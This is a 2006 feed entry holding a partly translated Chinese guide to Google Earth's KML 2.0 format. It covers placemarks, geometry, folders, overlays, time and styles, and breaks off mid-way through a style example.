	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-03-21T15:10:34+08:00</updated>
	  <published>2006-03-21T15:10:34+08:00</published>
		  <summary type="html"><![CDATA[<H1>Google Earth KML中文说明</H1>
<P>基于Google Earth客户端版本3.0 的KML 版本2.0</P>
<P><B>本文来源于<A href="http://www.google.com/" target=_blank>Google</A>由<A href="http://www.step1.cn/" target=_blank>Step1.cn</A>翻译并整理，若有任何疑问，可到<A href="http://www.step1.cn/archive/2005/12/09/244.aspx#Post" target=_blank>评论区</A>留言</B></P>
<H2>KML 2.0介绍</H2>
<P>KML全称是Keyhole Markup Language KML，是一个基于XML语法和文件格式的文件，用来描述和保存地理信息如点、线、图片、折线并在Google Earth客户端之中显示， (KML以前的版本能够被Google Earth读取并保存为KML 2.0) KML 2.0提供以下功能：</P>
<UL>
<LI>指定一个地点的图标和标注来区分每一个地点 
<LI>为每一个视图指定明确的视角来创建不同的特写镜头 
<LI>使用指定到屏幕或地理位置的图片标注 
<LI>为特定种类的标注定义显示样式 
<LI>为标注指定基于简单HTML语法的描述，支持超级链接和图片的显示 
<LI>使用目录(folders)对标注进行树形的分类管理<FONT size=-1>(为了便于理解和符合习惯，将"folder"翻译为"目录"，实际上是代表一组地理标注，请谅解)</FONT> 
<LI>基于时间戳记的标注可以用来进行动态的播放 
<LI>从本地或远程的网络地址动态的加载KML文件 
<LI>当Google Earth客户端视图变化时，自动将视图信息发送给指定的源服务器并从服务器获取相关的标注信息 </LI></UL>
<P>KML被Google Earth viewer显示的过程和HTML网页被浏览器处理差不多，而且和HTML一样，KML也使用一种基于标签(名称和属性)的语法格式来描述地里标注信息，可以说，Google Earth viewer是一个KML文件浏览器.</P>
<H1>目录</H1>
<UL>
<LI class=tl><A href="http://www.step1.cn/googleapi/map/kml.htm#whats_new">KML 2.0 What's New</A> </B>
<LI class=tl><A href="http://www.step1.cn/googleapi/map/kml.htm#kml_for_your_data">编写您自己的Google earth KML文件</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#basic_kml">KML基础 </A>
<UL>
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#common_elements">常用标签</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#placemarks">地名标注(Placemarks)</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#geometries">几何图形(Geometry)</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#folders">目录(Folders)</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#documents">文档(Documents)</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#image_overlays">图片标注(Image Overlays)</A> 
<UL>
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#ground_overlays">地理图片标注(Ground Overlays)</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#screen_overlays">屏幕图片标注(Screen Overlays)</A> </LI></UL>
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#time">时间</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#styles">样式</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#schemas">Schemas</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#network_links">网络连接</A> 
<P>&nbsp;</P>
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#kml_ref">Google Earth KML 2.0参考 </A>
<UL>
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#syntax">KML语法规则 </A>
<UL>
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#doc_structure">文档结构</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#tag_types">标记类型</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#string_values">字符串</A> </LI></UL>
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#kml_elements">KML标签列表 </A>
<UL>
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#address">&lt;address&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#altitudeMode">&lt;altitudeMode&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#begin">&lt;begin&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#color">&lt;color&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#coordinates">&lt;coordinates&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#description">&lt;description&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Document">&lt;Document&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#drawOrder">&lt;drawOrder&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#east">&lt;east&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#end">&lt;end&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#extrude">&lt;extrude&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#fill">&lt;fill&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Folder">&lt;Folder&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#geomColor">&lt;geomColor&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#GeometryCollection">&lt;GeometryCollection&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#geomScale">&lt;geomScale&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#GroundOverlay">&lt;GroundOverlay&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#h">&lt;h&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#heading">&lt;heading&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#icon">&lt;Icon&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#IconStyle">&lt;IconStyle&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#innerBoundaryIs">&lt;innerBoundaryIs&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#labelColor">&lt;labelColor&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#latitiude">&lt;latitude&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#LatLlonBox">&lt;LatLonBox&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#LinearRing">&lt;LinearRing&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#LineString">&lt;LineString&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#longitiude">&lt;longitude&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#LookAt">&lt;LookAt&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#name">&lt;name&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#NetworkLink">&lt;NetworkLink&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#north">&lt;north&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjArrayField">&lt;ObjArrayField&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#ObjField">&lt;ObjField&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#open">&lt;open&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#outerBoundaryIs">&lt;outerBoundaryIs&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#outline">&lt;outline&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#overlayXY">&lt;overlayXY&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Pair">&lt;Pair&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#parent">&lt;parent&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Placemark">&lt;Placemark&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Point">&lt;Point&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Polygon">&lt;Polygon&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#PolyStyle">&lt;PolyStyle&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#range">&lt;range&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshInterval">&lt;refreshInterval&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#refreshVisibility">&lt;refreshVisibility&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#rotation">&lt;rotation&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Schema">&lt;Schema&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#scale">&lt;scale&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#ScreenOverlay">&lt;ScreenOverlay&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#screenXY">&lt;screenXY&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleArrayField">&lt;SimpleArrayField&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#SimpleField">&lt;SimpleField&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#size">&lt;size&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#south">&lt;south&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#snippet">&lt;snippet&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Style">&lt;Style&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#StyleMap">&lt;StyleMap&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#styleUrl">&lt;styleUrl&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#tessellate">&lt;tessellate&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#tilt">&lt;tilt&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#TimePeriod">&lt;TimePeriod&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#TimeInstant">&lt;TimeInstant&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#timePeriod">&lt;timePosition&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#type">&lt;type&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#href">&lt;href&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#Url">&lt;Url&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#viewrefreshMode">&lt;viewRefreshMode&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#viewRefreshTime">&lt;viewRefreshTime&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#visibility">&lt;visibility&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#w">&lt;w&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#west">&lt;west&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#x">&lt;x&gt;</A> 
<LI><A href="http://www.step1.cn/googleapi/map/kml.htm#y">&lt;y&gt;</A> </LI></UL></LI></UL></LI></UL>
<P>&nbsp;</P>
<P>&nbsp;</P>
<H1><A name=whats_new></A>KML 2.0 What's New</H1></B>
<P>KML 1.0是由原先的Keyhole客户端进行读写的文件格式，Google Earth完全支持KML 1.0文件，KML 2.0 是KML 1.0的升级版本，主要的更新如下：</P>
<UL>
<LI>Google Earth默认的输出文件格式改为KMZ，这是一个经过ZIP格式压缩过的KML文件，可以被任何支持ZIP压缩文件格式的软件打开，这种文件的优点是自身可以包含图片而不需要引用网络上的图片； 
<LI>&lt;description&gt;标签现在可以支持一些标准的HTML格式语法，例如链接、图片、带格式文本和表格； 
<LI>过去使用的&lt;View&gt;标签被新的<SPAN class=code><FONT face="Courier New">&lt;LookAt&gt;</FONT></SPAN>标签替代； 
<LI>对&lt;ScreenOverlay&gt;标签的语法进行了升级更新； 
<LI>样式功能更为强大，现在由<SPAN class=code><FONT face="Courier New">&lt;IconStyle&gt;</FONT></SPAN>、 <SPAN class=code><FONT face="Courier New">&lt;LabelStyle&gt;</FONT></SPAN>、 <SPAN class=code><FONT face="Courier New">&lt;LineStyle&gt;</FONT></SPAN>和<SPAN class=code><FONT face="Courier New">&lt;PolyStyle&gt;</FONT></SPAN>四个分样式组成； 
<LI>过去的网络连接功能升级后能支持基于视图变化的更新； 
<LI>线段可以选择是否根据地形进行自动调整； 
<LI><SPAN class=code><FONT face="Courier New">&lt;opacity&gt;</FONT></SPAN>标签不再支持，推荐使用<SPAN class=code><FONT face="Courier New">&lt;color&gt;</FONT></SPAN>标签来实现透明； 
<LI>Network links功能现在支持向服务器发送当前视角信息，以便让服务器返回特定的KML文件。 </LI></UL>
<H1><A name=kml_for_your_data></A>编写您自己的Google earth KML文件</H1>
<P>Google Earth中的所有标注都是通过KML来描述的，KML有以下撰写方式：</P>
<H5>使用Google Earth client撰写KML文件：</H5>
<P>对于希望创建通过E-mail或者网页来发布的不动态的KML文件的用户来说，Google Earth 客户端就是一个很好的KML撰写工具，在Google Earth客户端中简单的按照您自己的要求组织您需要的数据并保存成一个独立的文件即可，在开发人员想要测试复杂的KML文档结构的时候，这个功能也同样有用， Google Earth客户端能够创建和保存几乎所有的KML标签。</P>
<H5>使用文本编辑器：</H5>
<P>你可以使用一个文本编辑器来创建简单的KML文件，或者测试一个KML文件的结构和语法的有效性。 <SPAN style="FONT-WEIGHT: bold"><B><BR><BR>TIP:</B></SPAN> 想要快速的检查KML语法，在Google Earth中右键点击一个地名标注或者图片标注，然后在菜单中选择"Copy", 然后你可以打开一个简单的文本文档然后将KML内容粘贴到其中，就可以方便的查看Google Earth撰写的KML内容了<BR>&nbsp;</P>
<P></P>
<H5>使用开发环境来自动生成KML文件：</H5>
<P>您能够使用一种用来动态生成网页内容的编辑平台来生成KML地标文件，只要能够生成XML文件，就可以同样生成KML文件。</P>
<P>下面是一个KML文件范例：</P><PRE>&lt;kml xmlns="http://earth.google.com/kml/2.0"&gt;
&lt;Placemark&gt;
  &lt;description&gt;&lt;![CDATA[&lt;a href="http://www.google.com.honeycomb.cs.cornell.edu:8888/"&gt;Google Search!&lt;/a&gt;]]&gt;&lt;/description&gt;
  &lt;name&gt;Google Headquarters&lt;/name&gt;
  &lt;LookAt&gt;
    &lt;longitude&gt;-122.0839&lt;/longitude&gt;
    &lt;latitude&gt;37.4219&lt;/latitude&gt;
    &lt;range&gt;540.68&lt;/range&gt;
    &lt;tilt&gt;0&lt;/tilt&gt;
    &lt;heading&gt;3&lt;/heading&gt;
  &lt;/LookAt&gt;
  &lt;Point&gt;
    &lt;coordinates&gt;-122.0839,37.4219,0&lt;/coordinates&gt;
  &lt;/Point&gt;
&lt;/Placemark&gt;
&lt;/kml&gt;
</PRE>
<P>这个文件里有一个&lt;kml&gt;标签，包含一个被命名为Google Headquarters的&lt;Placemark&gt;标签，当这个文件被Google Earth客户端读取的时候，&lt;Placemark&gt;将会以默认的图标和在&lt;Point&gt;中指定的经纬度处显示， &lt;Placemark&gt;的&lt;LookAt&gt;子标签指定当在Google Earth中显示这个标注的时候"照相机"视点.</P>
<P>你可以复制该范例内容并保存成扩展名为.kml的文本文件，在Google Earth之中打开查看效果</P>
<P></P>
<P>本文档的剩下部分还包含以下内容：</P>
<LI>在你撰写你自己的KML文件的时候涉及到的Google Earth客户端 标签 
<LI>程序员和GIS(地理信息系统)专业人员在用适当的方式撰写KML文件的时候需要的KML语法和指导 
<LI>KML语法参考，包括复合标签和单一标签 
<H2><A name=kml_basics></A>KML基础</H2>
<P>Google Earth 客户端支持了大量的显示标签用来创建和保存成KML文档。如果你喜欢，你可以先用文本编辑器修改KML文档，然后在Google Earth客户端中打开看显示的效果，这和你修改一个HTML文档并在浏览器之中观看效果是一样的。对于更高级的程序，你可以使用CGI脚本生成KML文件，这一节讲解在Google Earth客户端之中支持的KML基本标签。</P>
<H3><A name=common_elements></A>常用标签</H3>
<P>在本节中描述的所有标注(目录folders,地名标注placemarks,图片标注overlays 和 网络连接)都包含以下元素.</P>
<H4>&lt;Name&gt;</H4>
<P>KML语法使用&lt;name&gt;&lt;/name&gt;标签来指定目录(floder)、地名标注(placemark)、图片标注(overlay)或其他标记的名称，以便在Google Earth中进行区别，下面的例子显示了&lt;name&gt;标签在&lt;Folder&gt;标签上的应用：</P><PRE>&lt;Folder&gt;
  &lt;name&gt;My House&lt;/name&gt;
  .
  .
  .
&lt;/Folder&gt;
</PRE>
<H4>&lt;description&gt;</H4>
<P>使用描述元素给标注附加更多的关于该标注的信息，Google Earth自动识别其中的网址并显示为一个链接，并不需要任何HTML标记，不过你也可以再需要时使用HTML格式化文本的显示，甚至还可以使用图片。</P>
<P>为了在描述之中使用HTML标签，您需要使用CDATA XML 标签来避免XML对HTML字符的解析，或者您也可以对特定的字符进行实体引用</P>
<P>注意:在第一个测试版中在&lt;img src=""&gt;标签中部允许包含GIF图片，这个错误将在下一版本中修正，不过现在您可能还是只能使用JPG, PNG or BMP这几种格式。</P>
<H4>&lt;visibility&gt;</H4>
<P><SPAN class=code><FONT face="Courier New">&lt;visibility&gt;</FONT></SPAN>用来设置标注在第一次被Google Earth打开时的默认显示属性. Visibility对所有的标注都有效。不过visibility在目录之中使用的时候存在特殊情况，一个标记只有在它和它所有的上级标签都设成true(1)的时候才会显示。</P>
<P>你可以定义该标注在用户打开KML文件的时候是否显示，在文件打开完成之后是否显示该标注完全取决于用户的操作。</P>
<H4>&lt;LookAt&gt;</H4>
<P><SPAN class=code><FONT face="Courier New">&lt;LookAt&gt;</FONT></SPAN>元素用来指定对给定点的特定视角，Google Earth能够为地名标注(placemarks),目录(folders),图片标注(overlays)和其他标注设置视角，当一个标注存在指定的<SPAN class=code><FONT face="Courier New">&lt;LookAt&gt;</FONT></SPAN>标签时，双击该标注将使Google Earth平滑移动到指定视角。</P>
<P>值得注意的是，视角和标注的经纬度没有任何关系，例如，一个地名标注可能在一大片陆地的中央，而该标注对应的视角观察者却朝向陆地的左边边界。</P>
<P>实际上，一个标注的视点可能被设置到甚至根本看不到该标注本身的位置，因此当你为一个地名标注设置一个视点的时候，不要认为它会自动的让该标注出现在Google Earth视图之中。这样可能在你想为一个特定的标注使用一个特定的，不受限制的视角时非常有用，可有时候也会带来麻烦，因此，请谨慎使用本功能。当一个标记没有<SPAN class=code><FONT face="Courier New">&lt;LookAt&gt;</FONT></SPAN>标签时，双击该标签将使Google Earth缩放当前视图到包含该标注点</P>
<H4>&lt;address&gt;</H4>
<P>你可以使用包含地址字符串的<SPAN class=code><FONT face="Courier New">&lt;Point&gt;</FONT></SPAN>标签来代替指定经纬度，例如<SPAN class=code><FONT face="Courier New">&lt;address&gt;1600 Amphitherter Pkwy, Mountain View, CA&lt;/address&gt;</FONT></SPAN> 这样将使用Google Earth的功能来解析这个地址(请注意这个功能现在只支持美国地址)</P>
<H4>&lt;snippet&gt;</H4>
<P><SPAN class=code><FONT face="Courier New">&lt;snippet&gt;</FONT></SPAN>标签允许您插入多行的描述文本，当用户选中该标签的时候，这些文本将显示在窗口的底部。</P>
<P>&nbsp;</P>
<H3><A name=placemarks></A>地名标注&lt;Placemark&gt;</H3>
<P>Placemarks are the primary means of marking a location on the earth.A plcaemark may contain a single point, linestring, polygon, or arbitrary collections of these features. User-defined styles may be created to control the appearance of each of these elements. </P>
<P>With KML, you can customize your placemark information in a variety of ways. In addition to the common elements, the placemark element uses a style reference (<SPAN class=code><FONT face="Courier New">&lt;styleUrl&gt;</FONT></SPAN>) to specify the desired style for that placemark. </P>
<P>For example, you can use any image-such as your company logo-as the icon for a placemark by using the style reference to point to the desired icon. In addition, the style can reference a style map in order to display a different style when the user mouses over a placemark. In this way, you can have both a normal and a highlighted state for placemark icons. Finally, you can also use style references to set scale and color for geometry as well as point labels.</P>
<P>You can also specify a <SPAN class=code><FONT face="Courier New">&lt;Style&gt;</FONT></SPAN> within a <SPAN class=code><FONT face="Courier New">&lt;Placemark&gt;</FONT></SPAN>. This style is known as the Placemark's <EM>local style</EM>. Any fields that are specified in the local style will override the corresponding fields in the referenced style (i.e., any style referenced through <SPAN class=code><FONT face="Courier New">&lt;styleUrl&gt;</FONT></SPAN>). Minimal use of local styles is recommended for best efficiency.</P>
<P>&nbsp;</P>
<H3><A name=geometries></A>几何图形Geometry</H3>
<P>The following types of geometry can be expressed in the Google Earth client viewer:</P>
<H5>Point geometry</H5>
<P>Points may be mapped on the earth's surface as either icons or labels, or both. Placemarked points may be richly annotated within the Google Earth client, and may be positioned three-dimensionally. Points positioned at altitude may also be extruded, creating a line that tethers the placemark to the ground. </P>
<H5>Line geometry</H5>
<P>This includes lines and linestrings (polylines), but not road data. As with points, lines may be positioned at altitude, and extruded to form solid walls. </P>
<H5>Polygons</H5>
<P>Two dimensional polygons may be created in the Google Earth client. As with lines, polygons may be positioned at altitude and extruded to form three-dimensional objects. Using a combination of points, lines, and polygons, it is easy to create rich, visually arresting displays of your data. </P>
<H5>Collections</H5>
<P>Lines and polygons may be grouped into collections. </P>
<H4>Coordinates</H4>
<P>Coordinate values for geometry must be entered in degrees (longitude, latitude) and meters (elevation above sea level). KML uses the &lt;coordinates&gt; tag to describe this feature. See the entry for &lt;coordinates&gt; for more information. </P>
<P>Important: The required geographic coordinates specification is Longitude, Latitude, and Altitude, in that order. If you don't follow this method, your coordinate specifications will be misinterpreted.</P>
<H4>3D Geometry</H4>
<P>In the Google Earth client it is possible to create three-dimensional shapes by extruding two-dimensional objects. See the entry for <SPAN class=code><FONT face="Courier New">&lt;extrude&gt;</FONT></SPAN> for more information. </P>
<H4>&nbsp;</H4>
<H3><A name=folders></A>目录&lt;Folder&gt;</H3>
<P>Most uses of KML employ folders to organize placemarks, screen and ground overlays, and other folders. Use folders to structure collections of features and overlay groups, andto provide a unified view for a group of placemarks and/or overlays. In addition to the common elements, folders may have a number of extra properties:</P>
<H5>&lt;open&gt;</H5>
<P>A switch (0 or 1) that controls whether or not the folder will be in an expanded or collapsed state when it is loaded.</P>
<H5>Logical containment of related data, and folder nesting</H5>
<P>You can use a folder to contain related placemarks, overlays, and other folders. By providing folders with a name and LookAt values, you can group information in way to make it easily identifiable and manageable. For example, you can use a folder to associate a placemark with a related overlay image file for a multi-layered view of a particular region. </P>
<P>You can create a hierarchical structure in a manner similar to the Microsoft Windows folder view, so that folders can be expanded or collapsed to reveal or hide content as needed. Do this in the Google Earth client by dragging and dropping folders on top of other folders in order to nest them. In KML, <SPAN class=code><FONT face="Courier New">&lt;Folder&gt;&lt;/Folder&gt;</FONT></SPAN> tags simply nest within each other, in the same way that <SPAN class=code><FONT face="Courier New">&lt;table&gt;&lt;/table&gt;</FONT></SPAN> tags can be nested in HTML.</P>
<H3><A name=documents></A>文档&lt;Document&gt;</H3>
<P>A document is a type of folder that can also contain the <SPAN class=code><FONT face="Courier New">&lt;Styles&gt;</FONT></SPAN> and <SPAN class=code><FONT face="Courier New">&lt;Schemas&gt;</FONT></SPAN> tags in addition to features such as placemarks, overlays and folders. Use documents to group styles and schemas for a collection. Documents are also often root-level containers of KML hierarchies.</P>
<P>Note: When you need to use styles or schema for your data, you must also use the <SPAN class=code><FONT face="Courier New">&lt;Document&gt;</FONT></SPAN> element to contain these other elements. Use styles when you want to add custom icons and color and/or size information to geometry (see the entry for <SPAN class=code><FONT face="Courier New">&lt;Styles&gt;</FONT></SPAN>). Use schemas when your data collection contains features that are not native to KML. With schemas, you can define a feature and its associated meta-data so that it is correctly displayed in the Google Earth client.</P>
<H3>&nbsp;</H3>
<H3><A name=image_overlays></A>图片标注(Image Overlays)</H3>
<P>Image overlays can be described in KML for adding image-based meta-data to your GIS data in the Google Earth client. There are two types of overlays:</P>
<H5><A name=ground_overlays></A>地理图片标注&lt;GroundOverlay&gt;</H5>
<P>Use ground overlays for information-rich site display such as phased plans or weather maps. Ground overlays are images that are fixed to the planet surface.</P>
<H5>&lt;ScreenOverlay&gt;</H5>
<P>A screen overlay is a "floating" image independent of the camera position and is fixed to the screen. Examples of screen overlays might include displaying a legend of key for the data, or perhaps copyright messages. </P>
<H5>&lt;drawOrder&gt;</H5>
<P>When using overlapping overlays, you can set the draw order to determine the overlay stacking order. In this way, for example, overlay images with black boundary edges or masked boundaries can be assigned a lower number than adjacent overlays so as not to obscure useful information. </P>
<H5>&lt;Icon&gt;</H5>
<P>The <SPAN class=code><FONT face="Courier New">&lt;Icon&gt;</FONT></SPAN> tag references the overlay image file either locally or remotely, such as on your corporate web server. Remote users do not have to have a local copy of an overlay image if the image is supplied remotely. In this way, you can provide real-time updates of overlay data, such as weather, or development progress of site plans. The icon tag also contains child elements such as <SPAN class=code><FONT face="Courier New">&lt;refreshInterval&gt;</FONT></SPAN>, which may be used to control automatic updates of remotely-served images (webcams, for example).</P>
<H5>The following image types are supported:</H5>
<UL>
<LI>JPG 
<LI>PNG 
<LI>GIF 
<LI>TIFF </LI></UL>
<H5>&lt;rotation&gt;</H5>
<P>You can set the rotation of the overlay image. The image can be rotated up to 180 degrees in a clockwise (positive) or counter-clockwise (negative) rotation from north.</P>
<P> </P>
<H4>&lt;GroundOverlay&gt;</H4>
<P>In KML, ground overlay tags can be placed inside any folder or subfolder in your KML document. In addition to the common elements, ground overlays support the following elements:</P>
<H5>&lt;north&gt;, &lt;south&gt;, &lt;east&gt;, &lt;west&gt;</H5>
<P>Four coordinates set the edges of the overlay. These coordinates set the North-South (latitude), East-West (longitude) positions of the overlay boundaries. In addition, you can indicate the overlay's rotation, which is about the center of the overlay. In the Google Earth client viewer, you can drag and rotate the overlay in order to set the coordinates, or you can enter in your own values.</P>
<H4><A name=screen_overlays></A>屏幕图片标注&lt;ScreenOverlay&gt;</H4>
<P>Use screen overlays to display information regardless of the camera position, such as heads up display, co-branding, or other types of dashboard display. As with ground overlays, you can define multiple screen overlays and associate them with a folder. You can define the position as an absolute coordinate position in the viewer, or as a percentage of the viewer size. You can also set the color of a screen overlay.</P>
<P>Note: Screen overlays can currently only be authored in KML using a text editor, not in the Google Earth client.</P>
<P>Screen overlays have the following features:</P>
<H5>Screen position</H5>
<P>Two mechanisms for screen positioning provide flexibility in different presentation formats. You can determine the position of the screen image using X/Y coordinates either with exact pixels, or as a fraction of the overall screen. See the entries for &lt;overlayXY&gt;, &lt;screenXY&gt; and &lt;size&gt; for more information.</P>
<H5>&lt;size&gt;</H5>
<P>Use the &lt;size&gt; tag to indicate the width and height of the overlay image based on the screen size. For more information, see the entry for &lt;size&gt;.</P>
<P>&nbsp;</P>
<H3><A name=time></A>时间</H3>
<P>Time can be attached to all features in KML. Currently, time cannot be authored in the Google Earth client itself, but must be authored directly in KML. When the time feature is enabled (feature only available in the Google Earth EC client) all time-stamped features in a KML document can be made visible or hidden according to a number of adjustable parameters in the Google Earth EC client time user interface. For example, polygons representing each state of the United States can have a time value applied to represent the year the state jo&#105;ned the Union. Playback can be set in the Google Earth client to visually display the addition of each state.</P>
<P>For more information, see the entries for <SPAN class=code><FONT face="Courier New">&lt;timePosition&gt;</FONT></SPAN>, <SPAN class=code><FONT face="Courier New">&lt;TimeInstant&gt;</FONT></SPAN>, and <SPAN class=code><FONT face="Courier New">&lt;TimePeriod&gt;</FONT></SPAN>.</P>
<H3>&nbsp;</H3>
<H3><A name=styles></A>样式</H3>
<P>Similar to styles in HTML, styles can be employed in KML to define the appearance of geometry, icons, and labels in the viewer. Styles can be used for the following effects:</P>
<UL>
<LI>Individual icons for normal, highlighted, and blinking states 
<LI>Icon styling 
<LI>Label styling 
<LI>Line styling 
<LI>Polygon styling </LI></UL>
<H4>Style Selectors</H4>
<P>You can use a &lt;styleUrl&gt; tag to reference a style selector. A style selector selects a specific style from a group of styles, and may be used to apply that style to any piece of geometry. There are three style selector types in KML:</P>
<H5>Style</H5>
<P>A &lt;Style&gt; tag is used to indicate drawing style for icons, labels, lines and polygons. A &lt;Style&gt; tag is a style selector that selects itself. See the entry for &lt;Style&gt; for more information.</P>
<H5>StyleMap</H5>
<P>A &lt;StyleMap&gt; tag is used to provide a second level of style referencing for such features as placemarks. It selects a style based on the placemark highlight state. See the entry for &lt;StyleMap&gt; for more information. </P>
<H5>StyleBlinker</H5>
<P>A &lt;StyleBlinker&gt; tag can be used to reference custom icons so that they blink in the viewer. It selects a style based on time. The frequency and duration of the blinking is customizable.</P>
<P>Important: All style selectors must have an "id", the XML attribute, in order to be accessible. </P>
<P>The following example shows how it is possible to implement a simple "rollover" icon change. Two style ids are defined-normal and highlighted-which are then mapped to a styleUrl. The placemark has no local style, but instead is referenced to the global style. </P><PRE>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;kml xmlns="http://earth.google.com/kml/2.0"&gt;
&lt;Document&gt;
  &lt;name&gt;Simple Icon Rollover&lt;/name&gt;
  &lt;open&gt;1&lt;/open&gt;
  &lt;Style id="normalPlacemark"&gt;
    &lt;IconStyle&gt;
      &lt;Icon&gt;
        &lt;href&gt;C:/green_icon.jpg&lt;/href&gt;
      &lt;/Icon&gt;
    &lt;/IconStyle&gt;
  &lt;/Style&gt;
  &lt;Style id="highlightPlacemark"&gt;
    &lt;IconStyle&gt;
      &lt;Icon&gt;
